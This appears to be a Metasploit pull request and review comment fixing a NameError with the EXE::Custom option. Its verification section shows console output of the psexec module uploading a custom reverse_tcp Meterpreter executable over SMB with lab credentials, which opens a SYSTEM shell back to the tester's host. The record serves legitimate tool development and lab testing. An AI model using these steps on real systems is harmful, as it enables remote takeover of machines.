fixes #4131, EXE::Custom NameError

Fix #4131 with suggested fix basically.  exe could have been initialized as nil vs '', but it could then return nil vs ''.  I didn't see any callers that would have a problem with either one, but '' seemed safer than nil.  There's also one unrelated idiomatic ruby change that I couldn't ignore.

## Verification

- [ ] Travis is green
- [ ] Generate or pick a custom exe payload
- [ ] set EXE::Custom your_custom_pay.exe
- [ ] use exploit/windows/smb/psexec
- [ ] set all the options (other than payload)
- [ ] setup handler if necessary, and exploit, and don't get a stack trace

In the example below, I generated a reverse_tcp meterpreter and just used that as the custom payload, which is a little confusing seeming for psexec, but works nonetheless

```
msf exploit(psexec) > set EXE::Custom custom_met.exe
EXE::Custom => custom_met.exe
msf exploit(psexec) > unset PAYLOAD
Unsetting PAYLOAD...
msf exploit(psexec) > so

Module options (exploit/windows/smb/psexec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   RHOST      192.168.66.133   yes       The target address
   RPORT      445              yes       Set the SMB service port
   SHARE      ADMIN$           yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBDomain  WORKGROUP        no        The Windows domain to use for authentication
   SMBPass   TestP@ss       no        The password for the specified username
   SMBUser    TestUser              no        The username to authenticate as

Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf exploit(psexec) > exploit

[*] Connecting to the server...
[*] Authenticating to 192.168.66.133:445|WORKGROUP as user 'ZDI'...
[*] Uploading payload...
[*] Using custom payload custom_met.exe, RHOST and RPORT settings will be ignored!
[*] Created \vODaJijQ.exe...
[*] 192.168.66.133:445 - Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.66.133[\svcctl] ...
[*] 192.168.66.133:445 - Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.66.133[\svcctl] ...
[*] 192.168.66.133:445 - Obtaining a service manager handle...
[*] 192.168.66.133:445 - Creating the service...
[*] 192.168.66.133:445 - Starting the service...
[*] Sending stage (770048 bytes) to 192.168.66.133
[*] Meterpreter session 1 opened (192.168.66.1:4444 -> 192.168.66.133:49160) at 2014-11-05 22:07:43 -0600
[-] 192.168.66.133:445 - Error starting service: execution expired
[*] Deleting \vODaJijQ.exe...
[-] Exploit failed: Rex::Proto::SMB::Exceptions::ErrorCode The server responded with error: STATUS_CANNOT_DELETE (Command=6 WordCount=0)
msf exploit(psexec) > s

Active sessions
===============

  Id  Type                   Information                     Connection                                                  Via
  --  ----                   -----------                     ----------                                                  ---
  1   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ ZDI-WIN7  192.168.66.1:4444 -> 192.168.66.133:49160 (192.168.66.133)  exploit/multi/handler
```
Indeed I think it's safer to init as nil, than like empty string :$. Here is my reason: Returning an empty string allows the caller to make more operations with a bad result (even success) than if you return nil. So if the caller has to crash at some point, better to crash as soon as possible. Because of that I would prefer initialize to nil if the callers aren't doing any result handling at this moment. Anyway, I won't complain if there are better reasons to initialize with nil than with empty string. And out of it, the patch has all the sense! Thanks a lot!